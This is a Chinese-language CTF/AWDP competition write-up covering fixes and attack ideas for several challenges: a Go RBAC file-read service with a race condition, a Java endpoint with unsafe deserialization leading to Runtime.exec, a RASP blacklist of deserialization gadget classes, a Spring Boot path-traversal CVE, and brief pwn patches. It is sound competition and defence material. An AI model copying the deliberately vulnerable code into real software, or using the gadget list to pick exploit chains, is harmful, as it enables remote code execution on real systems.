directoryFiles := strings.Join(fileNames, " ")
if RBACList["directory:return"] == 1 {
return directoryFiles, nil
} else {
return "the directory " + param + " exists", nil
}
} else {
return "No Permission", nil
}
} else if funcName == "getFile" {
// read file
if RBACList["file:read"] == 1 {
if strings.Contains(param, "flag") {
if RBACList["flag:read"] != 1 {
return "No Permission", nil
}
}
data, err := os.ReadFile(param)
if err != nil {
return "file:"+param+" doesn't exist", nil
}
content := string(data)
if RBACList["file:return"] == 0 {
return "the file " + param + " exists", nil
} else if RBACList["file:return"] == 1 && !strings.Contains(param, "flag") {
return content, nil
} else if RBACList["file:return"] == 1 && strings.Contains(param, "flag") && RBACList["flag:return"] == 1 {
return content, nil
} else {
return "the file " + param + " exists", nil
}
} else {
return "No Permission", nil
}
} else {
return "No such func", errors.New("No such func")
}
}
一个 RBAC 控制文件读取&列目录的服务
fix
因为这题 fix 被很多队直接秒了,大胆猜测下面的判断条件加个 ! 即可
if RBACList["file:return"] == 0 {
return "the file " + param + " exists", nil
} else if RBACList["file:return"] == 1 && !strings.Contains(param, "flag") {
return content, nil
} else if RBACList["file:return"] == 1 && !strings.Contains(param, "flag") && RBACList["flag:return"] == 1 {
return content, nil
} else {
return "the file " + param + " exists", nil
}
attack
调试思路是直接 fmt.Println 打印出对应的变量,然后重新起服务 go build main.go && ./main
要想读取 flag 就要满足 flag:return 的值为 1,实际打印出来可以发现这里 flag:return 为 0
跟踪一下代码逻辑可以找到问题:
func updateRBAC(RBACToGrant map[string]int) {
for key, value := range RBACToGrant {
if strings.HasSuffix(key, ":read") {
if RBACList["rbac:change_read"] == 1 {
RBACList[key] = value
}
} else if strings.HasSuffix(key, ":return") {
if RBACList["rbac:change_return"] == 1 {
RBACList[key] = value
}
} else if key == "rbac:change_return:1" {
RBACList["rbac:change_return"] = 1
} else if key == "rbac:change_return:0" {
RBACList["rbac:change_return"] = 0
} else {
RBACList[key] = value
}
}
}
在这里给 flag:return 进行赋值,那么就需要 rbac:change_return 为 1,而 rbac:change_return 的初始值为 0
// Grant temporary file:return permissions
if value == "return" && RBACList["rbac:change_return"] != 1 {
if maxDeep < 5 {
RBACToGrant["rbac:change_return:1"] = 1
RBACToGrant["file:"+value] = 1
RBACToGrant["rbac:change_return:0"] = 1
maxDeep += 3
} else {
break
}
} else {
if maxDeep < 8 {
RBACToGrant["file:"+value] = 1
maxDeep++
} else {
break
}
}
这里会临时赋予 rbac:change_return 为 1 来给 file:return 赋值
打印一下 updateRBAC 方法内每次更新的 key,发现key的顺序会变动,考虑条件竞争在 rbac:change_return:1 时让 flag:return 和 file:return 竞争
本地和远程都很容易跑崩服务,请求包尽量改小一点可以避免502
本地部署的14b大模型早已看穿这一切(
web-security_rasp
package com.awdp.securityRasp.Controller;
import com.awdp.securityRasp.user.admin;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
import javax.script.ScriptException;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping({"/user"})
public class IndexController {
@PostMapping({"/info"})
public String ser(@RequestParam String data) throws IOException, ScriptException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data)));
admin user = (admin)ois.readObject();
return user.getName();
}
}
package com.awdp.securityRasp.user;
import java.io.IOException;
import java.io.Serializable;
public class admin implements Serializable {
public String name;
private String cmd;
public admin(String name) {
this.name = name;
}
public String getName() {
return this.name;
}
private void NoBackDoor() throws IOException {
Runtime.getRuntime().exec(this.cmd);
}
}
很明显的反序列化调用 NoBackDoor,全靠 rasp 配置来防
fix
直接看 lib ,里面有 c3p0,jackson 等
在 rasp 里的 official.js 过滤对应类即可
// transformer 反序列化攻击
deserialization_blacklist: {
name: '算法1 - 反序列化黑名单过滤',
action: 'block',
clazz: [
'org.apache.commons.collections.functors.ChainedTransformer',
'org.apache.commons.collections.functors.InvokerTransformer',
'org.apache.commons.collections.functors.InstantiateTransformer',
'org.apache.commons.collections4.functors.InvokerTransformer',
'org.apache.commons.collections4.functors.InstantiateTransformer',
'org.codehaus.groovy.runtime.ConvertedClosure',
'org.codehaus.groovy.runtime.MethodClosure',
'org.springframework.beans.factory.ObjectFactory',
'org.apache.xalan.xsltc.trax.TemplatesImpl',
'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',
'com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase',
'com.fasterxml.jackson.databind.node.POJONode',
'com.fasterxml.jackson.annotation.JsonTypeInfo',
'com.sun.org.apache.xalan.internal.xsltc.trax',
'com.fasterxml.jackson.databind.ObjectMapper',
'javassist.ClassPool',
'javassist.CtClass',
'javassist.CtMethod',
'javax.management',
'javax.swing',
'com.sun.org.apache.xml.internal',
'com.sun.syndication.feed.impl',
'java.security',
'com.mchange.v2.c3p0.WrapperConnectionPoolDataSource',
'sun.rmi.server.MarshalOutputStream',
'org.springframework.context.support.ClassPathXmlApplicationContext',
'org.slf4j.ext.EventData'
]
},
web-ota(Unsolved)
java17
byd附件给的jar包有问题不能直接起
要手动给 jwt.secret 赋 32 位长度的密钥才能启动,交个附件原包上去都check失败可太逆天了(
fix
package org.ota.config;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.io.FileSystemResource;
import org.springframework.web.reactive.function.server.RouterFunction;
import org.springframework.web.reactive.function.server.RouterFunctions;
import org.springframework.web.reactive.function.server.ServerResponse;
@Configuration
public class WebConfig {
@Bean
public RouterFunction<ServerResponse> route() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/opt/static/"));
}
}
Springboot 3.3.3
看群u说直接更新springboot包就行了,有 CVE-2024-38819 打目录穿越
pwn-DarkHeap
fix
删除记录后没有给记录存在的标志置零,手动添一下就好。
pwn-embbed_httpd
fix
高松灯预测, delete 有问题(
把vohttpd_loop()里对socketdata_delete()的调用全部nop掉就过了。
Thinking
今年和去年的队伍阵容相比带了俩吉祥物,本来觉得国二都困难的,没想到还能和去年名次一样
最近也是在上班当牛马没怎么研究ctf,这个部分晚点再补上吧,感慨的话还挺多的